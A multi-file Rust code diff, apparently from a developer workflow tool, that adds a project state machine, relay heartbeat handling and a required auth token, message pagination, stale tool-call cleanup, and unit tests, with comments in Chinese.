// 返回子 DAG 的 JSON 快照供 DagExecutor 消费
|
||||
Ok(NodeOutput::from_value(serde_json::json!({
|
||||
"subflow": true,
|
||||
"node_count": sub_dag.nodes.len(),
|
||||
"edge_count": sub_dag.edges.len(),
|
||||
"max_depth": max_depth,
|
||||
"dag": sub_dag,
|
||||
})))
|
||||
}
|
||||
|
||||
fn schema(&self) -> NodeSchema {
|
||||
NodeSchema {
|
||||
params: serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"dag": {
|
||||
"type": "object",
|
||||
"description": "子工作流 DAG 定义(nodes + edges)",
|
||||
"properties": {
|
||||
"nodes": { "type": "object" },
|
||||
"edges": { "type": "array" }
|
||||
}
|
||||
},
|
||||
"max_depth": {
|
||||
"type": "integer",
|
||||
"description": "最大嵌套深度(默认10)",
|
||||
"default": 10
|
||||
}
|
||||
},
|
||||
"required": ["dag"]
|
||||
}),
|
||||
output: serde_json::json!({}),
|
||||
}
|
||||
}
|
||||
|
||||
fn node_type(&self) -> &'static str {
|
||||
"subflow"
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use df_workflow::eventbus::EventBus;
|
||||
use df_workflow::state::StateMachine;
|
||||
|
||||
fn make_ctx(config: serde_json::Value) -> NodeContext {
|
||||
NodeContext {
|
||||
node_id: "test_subflow".into(),
|
||||
inputs: Default::default(),
|
||||
config,
|
||||
execution_id: "exec_1".into(),
|
||||
event_bus: EventBus::new(),
|
||||
node_status: StateMachine::new(),
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn sub_01_valid_dag_returns_metadata() {
|
||||
let node = SubflowNode;
|
||||
let ctx = make_ctx(serde_json::json!({
|
||||
"dag": {
|
||||
"nodes": {
|
||||
"child": {
|
||||
"id": "child",
|
||||
"node_type": "script",
|
||||
"config": {}
|
||||
}
|
||||
},
|
||||
"edges": []
|
||||
}
|
||||
}));
|
||||
let result = node.execute(ctx).await.unwrap();
|
||||
assert_eq!(result.data["subflow"], true);
|
||||
assert_eq!(result.data["node_count"], 1);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn sub_02_empty_dag_rejected() {
|
||||
let node = SubflowNode;
|
||||
let ctx = make_ctx(serde_json::json!({
|
||||
"dag": { "nodes": {}, "edges": [] }
|
||||
}));
|
||||
let result = node.execute(ctx).await;
|
||||
assert!(result.is_err());
|
||||
assert!(result.unwrap_err().to_string().contains("不能为空"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn sub_03_max_depth_zero_guard() {
|
||||
let node = SubflowNode;
|
||||
let ctx = make_ctx(serde_json::json!({
|
||||
"dag": {
|
||||
"nodes": { "c": { "id": "c", "node_type": "script", "config": {} } },
|
||||
"edges": []
|
||||
},
|
||||
"max_depth": 0
|
||||
}));
|
||||
let result = node.execute(ctx).await;
|
||||
assert!(result.is_err());
|
||||
assert!(result.unwrap_err().to_string().contains("最大嵌套深度"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn sub_04_missing_dag_field_errors() {
|
||||
let node = SubflowNode;
|
||||
let ctx = make_ctx(serde_json::json!({}));
|
||||
let result = node.execute(ctx).await;
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn sub_05_schema_has_required_fields() {
|
||||
let node = SubflowNode;
|
||||
let schema = node.schema();
|
||||
let params = &schema.params;
|
||||
assert!(params["properties"]["dag"].is_object());
|
||||
assert!(params["required"].as_array().unwrap().contains(&serde_json::json!("dag")));
|
||||
}
|
||||
}
|
||||
@@ -22,27 +22,29 @@
|
||||
//! - cancelled → 终态
|
||||
|
||||
// ============================================================
|
||||
// 状态字符串常量 — 与 df-types::TaskStatus::as_str 一一对应
|
||||
// 状态字符串常量 — 从 df-types::TaskStatus::as_str 派生(单一真相源)
|
||||
// ============================================================
|
||||
//
|
||||
// 不复用 df-types::TaskStatus enum(独立模块定位 + 避免推进链判定耦合存储枚举类型),
|
||||
// 但字符串值严格对齐(df-types::TaskStatus::as_str 产出的小写 snake_case),
|
||||
// 保证状态机判定的 from/to 与数据库 status 列存值语义一致。
|
||||
// 任务 #17 合并:字符串常量不再独立定义,直接从 `TaskStatus::as_str()` 派生。
|
||||
// 消除 df-nodes 字符串常量与 df-types enum 之间的双源问题—— 任一处修改 enum 的
|
||||
// as_str 输出,本模块常量自动同步,编译期即可发现柡移。
|
||||
|
||||
use df_types::types::TaskStatus;
|
||||
|
||||
/// 待开始
|
||||
pub const TODO: &str = "todo";
|
||||
pub const TODO: &str = TaskStatus::Todo.as_str();
|
||||
/// 进行中
|
||||
pub const IN_PROGRESS: &str = "in_progress";
|
||||
pub const IN_PROGRESS: &str = TaskStatus::InProgress.as_str();
|
||||
/// 代码审查中
|
||||
pub const IN_REVIEW: &str = "in_review";
|
||||
pub const IN_REVIEW: &str = TaskStatus::InReview.as_str();
|
||||
/// 测试中
|
||||
pub const TESTING: &str = "testing";
|
||||
pub const TESTING: &str = TaskStatus::Testing.as_str();
|
||||
/// 已完成(终态)
|
||||
pub const DONE: &str = "done";
|
||||
pub const DONE: &str = TaskStatus::Done.as_str();
|
||||
/// 已阻塞
|
||||
pub const BLOCKED: &str = "blocked";
|
||||
pub const BLOCKED: &str = TaskStatus::Blocked.as_str();
|
||||
/// 已取消(终态)
|
||||
pub const CANCELLED: &str = "cancelled";
|
||||
pub const CANCELLED: &str = TaskStatus::Cancelled.as_str();
|
||||
|
||||
/// 全部合法状态值(供输入校验与错误提示复用)
|
||||
pub const ALL_STATES: &[&str] = &[
|
||||
|
||||
@@ -11,3 +11,4 @@ tokio = { workspace = true }
|
||||
anyhow = { workspace = true }
|
||||
chrono = { workspace = true }
|
||||
tracing = { workspace = true }
|
||||
thiserror = { workspace = true }
|
||||
|
||||
@@ -1,4 +1,10 @@
|
||||
//! 项目管理器 — 项目的 CRUD 与生命周期管理
|
||||
//! 项目管理器 — 项目的领域层(CRUD 构造 + 状态机 + 业务约束)
|
||||
//!
|
||||
//! 任务 #16 真分层:本 crate 不再只是"构造实体的工厂函数",而是承载项目领域规则。
|
||||
//! Storage 层(df-storage::ProjectRepo)仅负责持久化,状态合法性 / 业务约束在此。
|
||||
//!
|
||||
//! 调用方(src-tauri commands/project.rs)推进项目状态时必须经
|
||||
//! `ProjectManager::can_transition` / `transition` 校验,防非法跳态。
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
@@ -39,15 +45,32 @@ pub struct CreateProjectInput {
|
||||
pub tags: Vec<String>,
|
||||
}
|
||||
|
||||
/// 项目管理器
|
||||
/// 项目状态机错误
|
||||
#[derive(Debug, thiserror::Error)]
|
||||
pub enum ProjectTransitionError {
|
||||
#[error("项目状态转换非法: {from:?} → {to:?}")]
|
||||
IllegalTransition {
|
||||
from: ProjectStatus,
|
||||
to: ProjectStatus,
|
||||
},
|
||||
#[error("项目名称不能为空")]
|
||||
EmptyName,
|
||||
#[error("项目已处在终态 {0:?},不可再推进")]
|
||||
TerminalState(ProjectStatus),
|
||||
}
|
||||
|
||||
/// 项目管理器(无状态纯逻辑,实体构造 + 状态机 + 业务约束)
|
||||
pub struct ProjectManager;
|
||||
|
||||
impl ProjectManager {
|
||||
/// 创建新项目 — 构造领域实体(不落库);持久化由调用方经 storage 层 ProjectRecord 映射完成
|
||||
/// (见 commands/idea.rs::promote_idea)。领域层不依赖 storage,保持分层。
|
||||
pub fn create(input: CreateProjectInput) -> Project {
|
||||
pub fn create(input: CreateProjectInput) -> Result<Project, ProjectTransitionError> {
|
||||
if input.name.trim().is_empty() {
|
||||
return Err(ProjectTransitionError::EmptyName);
|
||||
}
|
||||
let now = chrono::Utc::now();
|
||||
Project {
|
||||
Ok(Project {
|
||||
id: df_types::types::new_id(),
|
||||
name: input.name,
|
||||
description: input.description,
|
||||
@@ -57,11 +80,15 @@ impl ProjectManager {
|
||||
tags: input.tags,
|
||||
created_at: now,
|
||||
updated_at: now,
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
/// 从想法创建项目
|
||||
pub fn create_from_idea(name: String, description: String, idea_id: IdeaId) -> Project {
|
||||
pub fn create_from_idea(
|
||||
name: String,
|
||||
description: String,
|
||||
idea_id: IdeaId,
|
||||
) -> Result<Project, ProjectTransitionError> {
|
||||
Self::create(CreateProjectInput {
|
||||
name,
|
||||
description,
|
||||
@@ -71,4 +98,118 @@ impl ProjectManager {
|
||||
})
|
||||
}
|
||||
|
||||
/// 判断项目状态转换是否合法(状态机核心)。
|
||||
///
|
||||
/// 项目状态语义(与 ARCHITECTURE.md 一致):
|
||||
/// - Planning → InProgress(开始), Cancelled(取消)
|
||||
/// - InProgress → Testing(提交测试), Paused(暂停), Cancelled
|
||||
/// - Testing → Completed(测试通过), InProgress(退回开发), Cancelled
|
||||
/// - Completed → 终态(不可变)
|
||||
/// - Paused → InProgress(恢复), Cancelled
|
||||
/// - Cancelled → 终态
|
||||
pub fn can_transition(from: &ProjectStatus, to: &ProjectStatus) -> bool {
|
||||
use ProjectStatus::*;
|
||||
matches!((from, to),
|
||||
(Planning, InProgress) | (Planning, Cancelled)
|
||||
| (InProgress, Testing) | (InProgress, Paused) | (InProgress, Cancelled)
|
||||
| (Testing, Completed) | (Testing, InProgress) | (Testing, Cancelled)
|
||||
| (Paused, InProgress) | (Paused, Cancelled)
|
||||
)
|
||||
}
|
||||
|
||||
/// 执行状态转换,返回新状态或非法错误。
|
||||
///
|
||||
/// 调用方(如 IPC `update_project_status` / `advance_project`)应用本方法校验后
|
||||
/// 再写 storage,防跳态(如 Planning → Completed 跳过 Testing)。
|
||||
pub fn transition(
|
||||
from: ProjectStatus,
|
||||
to: ProjectStatus,
|
||||
) -> Result<ProjectStatus, ProjectTransitionError> {
|
||||
if !Self::can_transition(&from, &to) {
|
||||
// 区分错误: 终态→任何 vs 一般非法
|
||||
if matches!(from, ProjectStatus::Completed | ProjectStatus::Cancelled) {
|
||||
return Err(ProjectTransitionError::TerminalState(from));
|
||||
}
|
||||
return Err(ProjectTransitionError::IllegalTransition { from, to });
|
||||
}
|
||||
Ok(to)
|
||||
}
|
||||
|
||||
/// 是否为终态(不可再转换)
|
||||
pub fn is_terminal(s: &ProjectStatus) -> bool {
|
||||
matches!(s, ProjectStatus::Completed | ProjectStatus::Cancelled)
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn create_rejects_empty_name() {
|
||||
let err = ProjectManager::create(CreateProjectInput {
|
||||
name: " ".into(),
|
||||
description: String::new(),
|
||||
idea_id: None,
|
||||
priority: Priority::default(),
|
||||
tags: vec![],
|
||||
}).unwrap_err();
|
||||
assert!(matches!(err, ProjectTransitionError::EmptyName));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn main_path_planning_to_completed() {
|
||||
use ProjectStatus::*;
|
||||
assert!(ProjectManager::can_transition(&Planning, &InProgress));
|
||||
assert!(ProjectManager::can_transition(&InProgress, &Testing));
|
||||
assert!(ProjectManager::can_transition(&Testing, &Completed));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn illegal_skips_rejected() {
|
||||
use ProjectStatus::*;
|
||||
assert!(!ProjectManager::can_transition(&Planning, &Completed));
|
||||
assert!(!ProjectManager::can_transition(&Planning, &Testing));
|
||||
assert!(!ProjectManager::can_transition(&InProgress, &Completed));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn terminal_states_block_all() {
|
||||
use ProjectStatus::*;
|
||||
for term in [Completed, Cancelled] {
|
||||
for to in [Planning, InProgress, Testing, Paused] {
|
||||
assert!(!ProjectManager::can_transition(&term, &to));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn paused_round_trip() {
|
||||
use ProjectStatus::*;
|
||||
assert!(ProjectManager::can_transition(&InProgress, &Paused));
|
||||
assert!(ProjectManager::can_transition(&Paused, &InProgress));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn transition_returns_target_on_legal() {
|
||||
use ProjectStatus::*;
|
||||
assert_eq!(
|
||||
ProjectManager::transition(Planning, InProgress).unwrap(),
|
||||
InProgress
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn transition_errors_on_illegal() {
|
||||
use ProjectStatus::*;
|
||||
let err = ProjectManager::transition(Planning, Completed).unwrap_err();
|
||||
assert!(matches!(err, ProjectTransitionError::IllegalTransition { .. }));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn transition_errors_on_terminal_source() {
|
||||
use ProjectStatus::*;
|
||||
let err = ProjectManager::transition(Completed, InProgress).unwrap_err();
|
||||
assert!(matches!(err, ProjectTransitionError::TerminalState(_)));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -32,13 +32,12 @@ use crate::broadcast::{BroadcastMessage, ClientKind, MessageKind};
|
||||
use crate::conn::{next_conn_id, ConnHandle, ConnId, RelayState};
|
||||
use crate::error::{RelayError, Result};
|
||||
|
||||
/// MVP 默认 token(env `DF_RELAY_TOKEN` 缺省时回退)。
|
||||
/// 读取期望 token(必需:env `DF_RELAY_TOKEN` 必须设置,未设置时 panic)。
|
||||
/// 生产级鉴权(每 device 独立 token + 过期刷新)留 Phase3。
|
||||
const DEFAULT_TOKEN: &str = "devflow-relay-default-token";
|
||||
|
||||
/// 读取期望 token(env 优先,fallback 硬编码)
|
||||
fn expected_token() -> String {
|
||||
std::env::var("DF_RELAY_TOKEN").unwrap_or_else(|_| DEFAULT_TOKEN.to_string())
|
||||
std::env::var("DF_RELAY_TOKEN").unwrap_or_else(|_| {
|
||||
panic!("必须设置环境变量 DF_RELAY_TOKEN")
|
||||
})
|
||||
}
|
||||
|
||||
/// 客户端首消息:身份宣告(简单协议)
|
||||
@@ -347,7 +346,35 @@ async fn handle_inbound_text(
|
||||
) -> Result<()> {
|
||||
// 入站文本即业务 payload(relay 不解析),包成 BroadcastMessage
|
||||
// payload 直接用原始 JSON 值;若客户端发非 JSON 文本,则包成字符串值
|
||||
let payload: serde_json::Value = serde_json::from_str(raw).unwrap_or(serde_json::Value::String(raw.to_string()));
|
||||
let payload: serde_json::Value =
|
||||
serde_json::from_str(raw).unwrap_or(serde_json::Value::String(raw.to_string()));
|
||||
|
||||
// 心跳协议:miniapp 发 {control_kind: "ping"} → relay 直接回 pong(不经 device 透传)。
|
||||
// miniapp 用 pong 更新 lastPongTime 看门狗(防移动网络 TCP 半连接挂死)。
|
||||
// device 端收到 control 消息也仅 console.log,不影响业务。
|
||||
if let Some(control_kind) = payload
|
||||
.get("control_kind")
|
||||
.and_then(|v| v.as_str())
|
||||
{
|
||||
if control_kind == "ping" && kind == ClientKind::Miniapp {
|
||||
let pong_payload = serde_json::json!({"control_kind": "pong"});
|
||||
let pong_msg = BroadcastMessage {
|
||||
device_id: device_id.to_string(),
|
||||
kind: crate::broadcast::MessageKind::Control,
|
||||
source: conn_id,
|
||||
from: ClientKind::Device, // pong 来自 relay(代理 device),让 miniapp 识别为合法响应
|
||||
payload: pong_payload,
|
||||
ts: now_ms(),
|
||||
};
|
||||
let _ = state.route(&pong_msg).await;
|
||||
tracing::trace!(
|
||||
conn_id = conn_id.0,
|
||||
device_id = %device_id,
|
||||
"miniapp ping → relay pong(本地响应)"
|
||||
);
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
let now = now_ms();
|
||||
let (msg_kind, from) = match kind {
|
||||
|
||||
233
crates/df-relay/tests/registry_test.rs
Normal file
233
crates/df-relay/tests/registry_test.rs
Normal file
@@ -0,0 +1,233 @@
|
||||
//! df-relay 单元测试(任务 #12)
|
||||
//!
|
||||
//! 覆盖纯逻辑(不依赖 axum server):
|
||||
//! - ConnRegistry: add/remove/is_online/route(四种路由规则)
|
||||
//! - BroadcastMessage 构造器
|
||||
//! - RelayState async 包装
|
||||
//! - next_conn_id 单调递增
|
||||
|
||||
#![cfg(test)]
|
||||
|
||||
use df_relay::{
|
||||
next_conn_id, BroadcastMessage, ClientKind, ConnHandle, ConnId, ConnRegistry, MessageKind,
|
||||
RelayState,
|
||||
};
|
||||
use tokio::sync::mpsc;
|
||||
|
||||
// ---------- ConnId 分配 ----------
|
||||
|
||||
#[test]
|
||||
fn next_conn_id_monotonic() {
|
||||
let a = next_conn_id();
|
||||
let b = next_conn_id();
|
||||
let c = next_conn_id();
|
||||
assert!(b.0 > a.0, "next_conn_id 应单调递增");
|
||||
assert!(c.0 > b.0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn conn_id_nil_is_zero() {
|
||||
assert_eq!(ConnId::NIL.0, 0);
|
||||
assert_ne!(next_conn_id(), ConnId::NIL, "分配的 id 不应为 NIL(0)");
|
||||
}
|
||||
|
||||
// ---------- ConnRegistry 基础操作 ----------
|
||||
|
||||
fn make_handle(id: ConnId, kind: ClientKind, device_id: &str) -> (ConnHandle, mpsc::UnboundedReceiver<BroadcastMessage>) {
|
||||
let (tx, rx) = mpsc::unbounded_channel();
|
||||
(ConnHandle::new(id, kind, device_id.to_string(), tx), rx)
|
||||
}
|
||||
|
||||
/// 注册连接并返回 receiver(保活防 channel 关闭)。
|
||||
fn register(reg: &mut ConnRegistry, id: ConnId, kind: ClientKind, device_id: &str) -> mpsc::UnboundedReceiver<BroadcastMessage> {
|
||||
let (handle, rx) = make_handle(id, kind, device_id);
|
||||
reg.add(handle);
|
||||
rx
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn registry_add_and_lookup() {
|
||||
let mut reg = ConnRegistry::new();
|
||||
let id = next_conn_id();
|
||||
let _rx = register(&mut reg, id, ClientKind::Device, "dev-1");
|
||||
|
||||
assert_eq!(reg.len(), 1);
|
||||
assert!(reg.is_device_online("dev-1"));
|
||||
assert!(!reg.is_device_online("dev-2"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn registry_remove_returns_device_id() {
|
||||
let mut reg = ConnRegistry::new();
|
||||
let id = next_conn_id();
|
||||
let _rx = register(&mut reg, id, ClientKind::Device, "dev-1");
|
||||
|
||||
let removed = reg.remove(id);
|
||||
assert_eq!(removed.as_deref(), Some("dev-1"));
|
||||
assert_eq!(reg.len(), 0);
|
||||
assert!(!reg.is_device_online("dev-1"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn registry_remove_unknown_returns_none() {
|
||||
let mut reg = ConnRegistry::new();
|
||||
assert_eq!(reg.remove(ConnId(9999)), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn registry_supports_multi_conn_per_device() {
|
||||
let mut reg = ConnRegistry::new();
|
||||
let d1 = next_conn_id();
|
||||
let m1 = next_conn_id();
|
||||
let _r1 = register(&mut reg, d1, ClientKind::Device, "dev-1");
|
||||
let _r2 = register(&mut reg, m1, ClientKind::Miniapp, "dev-1");
|
||||
|
||||
assert_eq!(reg.len(), 2);
|
||||
assert!(reg.is_device_online("dev-1"));
|
||||
|
||||
reg.remove(d1);
|
||||
assert!(reg.is_device_online("dev-1"));
|
||||
|
||||
reg.remove(m1);
|
||||
assert!(!reg.is_device_online("dev-1"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn registry_empty_default() {
|
||||
let reg = ConnRegistry::new();
|
||||
assert!(reg.is_empty());
|
||||
assert_eq!(reg.len(), 0);
|
||||
}
|
||||
|
||||
// ---------- 路由规则 ----------
|
||||
|
||||
#[test]
|
||||
fn route_event_device_to_miniapp_only() {
|
||||
let mut reg = ConnRegistry::new();
|
||||
let dev = next_conn_id();
|
||||
let mini = next_conn_id();
|
||||
let other_mini = next_conn_id();
|
||||
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
|
||||
let _r2 = register(&mut reg, mini, ClientKind::Miniapp, "dev-1");
|
||||
let _r3 = register(&mut reg, other_mini, ClientKind::Miniapp, "dev-2");
|
||||
|
||||
let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0);
|
||||
let delivered = reg.route(&msg);
|
||||
assert_eq!(delivered, 1, "Event 应只投递给 dev-1 的小程序");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn route_command_miniapp_to_device_only() {
|
||||
let mut reg = ConnRegistry::new();
|
||||
let dev = next_conn_id();
|
||||
let mini = next_conn_id();
|
||||
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
|
||||
let _r2 = register(&mut reg, mini, ClientKind::Miniapp, "dev-1");
|
||||
|
||||
let msg = BroadcastMessage {
|
||||
device_id: "dev-1".into(),
|
||||
kind: MessageKind::Command,
|
||||
source: mini,
|
||||
from: ClientKind::Miniapp,
|
||||
payload: serde_json::json!({}),
|
||||
ts: 0,
|
||||
};
|
||||
let delivered = reg.route(&msg);
|
||||
assert_eq!(delivered, 1, "Command 应只投递给 dev-1 的桌面端");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn route_does_not_loop_back_to_source() {
|
||||
let mut reg = ConnRegistry::new();
|
||||
let dev = next_conn_id();
|
||||
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
|
||||
|
||||
let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0);
|
||||
let delivered = reg.route(&msg);
|
||||
assert_eq!(delivered, 0, "不应回环给来源");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn route_control_to_all_except_source() {
|
||||
let mut reg = ConnRegistry::new();
|
||||
let dev = next_conn_id();
|
||||
let mini1 = next_conn_id();
|
||||
let mini2 = next_conn_id();
|
||||
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
|
||||
let _r2 = register(&mut reg, mini1, ClientKind::Miniapp, "dev-1");
|
||||
let _r3 = register(&mut reg, mini2, ClientKind::Miniapp, "dev-1");
|
||||
|
||||
let msg = BroadcastMessage {
|
||||
device_id: "dev-1".into(),
|
||||
kind: MessageKind::Control,
|
||||
source: dev,
|
||||
from: ClientKind::Device,
|
||||
payload: serde_json::json!({}),
|
||||
ts: 0,
|
||||
};
|
||||
let delivered = reg.route(&msg);
|
||||
assert_eq!(delivered, 2, "Control 应投递给除来源外的所有同 device 连接");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn route_unknown_device_zero() {
|
||||
let reg = ConnRegistry::new();
|
||||
let msg = BroadcastMessage::from_device("nope", ConnId::NIL, serde_json::json!({}), 0);
|
||||
assert_eq!(reg.route(&msg), 0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn route_event_not_delivered_to_device() {
|
||||
let mut reg = ConnRegistry::new();
|
||||
let dev1 = next_conn_id();
|
||||
let dev2 = next_conn_id();
|
||||
let _r1 = register(&mut reg, dev1, ClientKind::Device, "dev-1");
|
||||
let _r2 = register(&mut reg, dev2, ClientKind::Device, "dev-1");
|
||||
|
||||
let msg = BroadcastMessage::from_device("dev-1", dev1, serde_json::json!({}), 0);
|
||||
assert_eq!(reg.route(&msg), 0, "两个 Device 互发 Event 不应投递");
|
||||
}
|
||||
|
||||
// ---------- BroadcastMessage 构造器 ----------
|
||||
|
||||
#[test]
|
||||
fn from_device_sets_event_kind_and_from() {
|
||||
let msg = BroadcastMessage::from_device("dev-1", ConnId(42), serde_json::json!({"a": 1}), 12345);
|
||||
assert_eq!(msg.device_id, "dev-1");
|
||||
assert_eq!(msg.kind, MessageKind::Event);
|
||||
assert_eq!(msg.from, ClientKind::Device);
|
||||
assert_eq!(msg.source, ConnId(42));
|
||||
assert_eq!(msg.ts, 12345);
|
||||
assert_eq!(msg.payload, serde_json::json!({"a": 1}));
|
||||
}
|
||||
|
||||
// ---------- RelayState async 包装 ----------
|
||||
|
||||
#[tokio::test]
|
||||
async fn relay_state_add_and_remove_conn() {
|
||||
let state = RelayState::new();
|
||||
let id = next_conn_id();
|
||||
let (handle, _rx) = make_handle(id, ClientKind::Device, "dev-1");
|
||||
state.add_conn(handle).await;
|
||||
|
||||
assert!(state.is_device_online("dev-1").await);
|
||||
|
||||
let removed = state.remove_conn(id).await;
|
||||
assert_eq!(removed.as_deref(), Some("dev-1"));
|
||||
assert!(!state.is_device_online("dev-1").await);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn relay_state_route_async() {
|
||||
let state = RelayState::new();
|
||||
let dev = next_conn_id();
|
||||
let mini = next_conn_id();
|
||||
let (h1, _r1) = make_handle(dev, ClientKind::Device, "dev-1");
|
||||
let (h2, _r2) = make_handle(mini, ClientKind::Miniapp, "dev-1");
|
||||
state.add_conn(h1).await;
|
||||
state.add_conn(h2).await;
|
||||
|
||||
let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0);
|
||||
let n = state.route(&msg).await;
|
||||
assert_eq!(n, 1);
|
||||
}
|
||||
@@ -264,6 +264,25 @@ impl AiToolExecutionRepo {
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
/// 清理超期的残留 pending 工具调用(旧会话遗留)。
|
||||
///
|
||||
/// `max_age_secs`: 超过此秒数的 pending 记录被标记为 interrupted(不硬删,保留审计痕迹)。
|
||||
pub async fn cleanup_stale_pending(&self, max_age_secs: u64) -> Result<u64> {
|
||||
let conn = self.conn.clone();
|
||||
let cutoff_ms = (df_types::now_millis() as i64 - (max_age_secs as i64 * 1000)).to_string();
|
||||
let affected = tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
guard.execute(
|
||||
"UPDATE ai_tool_executions SET status = 'interrupted' \
|
||||
WHERE status = 'pending' AND CAST(requested_at AS INTEGER) < ?1",
|
||||
params![cutoff_ms],
|
||||
).map_err(storage_err)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)??;
|
||||
Ok(affected as u64)
|
||||
}
|
||||
|
||||
/// 审批历史面板分页查询:按 requested_at 倒序(最新在前),limit 默认 50。
|
||||
///
|
||||
/// 与 list_pending 同理走专用 SELECT,绕过通用 query 宏(后者硬编码
|
||||
|
||||
@@ -128,6 +128,57 @@ impl AiMessageRepo {
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
/// 按对话加载最近 N 条消息(分页懒加载,治长对话渲染卡顿)。
|
||||
///
|
||||
/// 从尾部取最近 `limit` 条(ORDER BY seq DESC LIMIT),返回时反转为 ASC 顺序(与
|
||||
/// list_by_conversation 一致的 seq 升序)。`before_seq` 可选:指定后只取 seq < before_seq
|
||||
/// 的消息(滚顶加载更多时的游标,取下一页更早的历史)。
|
||||
///
|
||||
/// 典型用法:
|
||||
/// - 首次切入对话:list_recent(conv_id, 50, None) → 最近 50 条
|
||||
/// - 滚顶加载更多:list_recent(conv_id, 50, Some(最早已加载消息的 seq)) → 再加载 50 条更早的
|
||||
pub async fn list_recent(
|
||||
&self,
|
||||
conversation_id: &str,
|
||||
limit: usize,
|
||||
before_seq: Option<i64>,
|
||||
) -> Result<Vec<AiMessageRecord>> {
|
||||
let conn = self.conn.clone();
|
||||
let conv_id = conversation_id.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
// before_seq 有无分两个 SQL(参数化 LIMIT 必须用固定占位,Rust 侧 clamp 防 0)
|
||||
let limit = limit.max(1) as i64;
|
||||
let sql = if before_seq.is_some() {
|
||||
"SELECT id, conversation_id, seq, role, content, parts, tool_call_id,
|
||||
tool_calls, model, status, reasoning_content, timestamp, created_at
|
||||
FROM ai_messages WHERE conversation_id = ?1 AND seq < ?2 ORDER BY seq DESC LIMIT ?3"
|
||||
} else {
|
||||
"SELECT id, conversation_id, seq, role, content, parts, tool_call_id,
|
||||
tool_calls, model, status, reasoning_content, timestamp, created_at
|
||||
FROM ai_messages WHERE conversation_id = ?1 ORDER BY seq DESC LIMIT ?2"
|
||||
};
|
||||
let mut stmt = guard.prepare(sql).map_err(storage_err)?;
|
||||
let rows = match before_seq {
|
||||
Some(seq) => stmt
|
||||
.query_map(params![conv_id, seq, limit], ai_message_from_row)
|
||||
.map_err(storage_err)?,
|
||||
None => stmt
|
||||
.query_map(params![conv_id, limit], ai_message_from_row)
|
||||
.map_err(storage_err)?,
|
||||
};
|
||||
let mut results: Vec<AiMessageRecord> = Vec::new();
|
||||
for r in rows {
|
||||
results.push(r.map_err(storage_err)?);
|
||||
}
|
||||
// DESC → 反转为 ASC(与 list_by_conversation 一致顺序)
|
||||
results.reverse();
|
||||
Ok(results)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
/// 删除对话内 seq ∈ [min_seq, max_seq) 的消息(左闭右开)。
|
||||
///
|
||||
/// compress 压缩 / 编辑重生成 dirty 范围重写用:delete_range → insert_batch 原子覆盖。
|
||||
|
||||
@@ -17,11 +17,15 @@
|
||||
//! re-export(`pub use ...::*`)保持 `df_storage::crud::XxxRepo` /
|
||||
//! `df_storage::crud::is_allowed_column` 路径不变,**调用方零改动**。
|
||||
|
||||
mod module_dependency_repo;
|
||||
mod plan_repo;
|
||||
|
||||
mod conversation_repo;
|
||||
mod idea_eval_repo;
|
||||
mod idea_repo;
|
||||
mod message_repo;
|
||||
mod project_event_repo;
|
||||
mod project_module_repo;
|
||||
mod project_repo;
|
||||
mod project_service_repo;
|
||||
mod settings;
|
||||
@@ -33,11 +37,14 @@ pub use idea_eval_repo::*;
|
||||
pub use idea_repo::*;
|
||||
pub use message_repo::*;
|
||||
pub use project_event_repo::*;
|
||||
pub use project_module_repo::*;
|
||||
pub use project_repo::*;
|
||||
pub use project_service_repo::*;
|
||||
pub use settings::*;
|
||||
pub use task_link_repo::*;
|
||||
pub use task_repo::*;
|
||||
pub use module_dependency_repo::*;
|
||||
pub use plan_repo::*;
|
||||
|
||||
// ============================================================
|
||||
// 辅助宏 — 消除多个 Repo 的重复样板
|
||||
@@ -305,6 +312,7 @@ mod baseline_tests {
|
||||
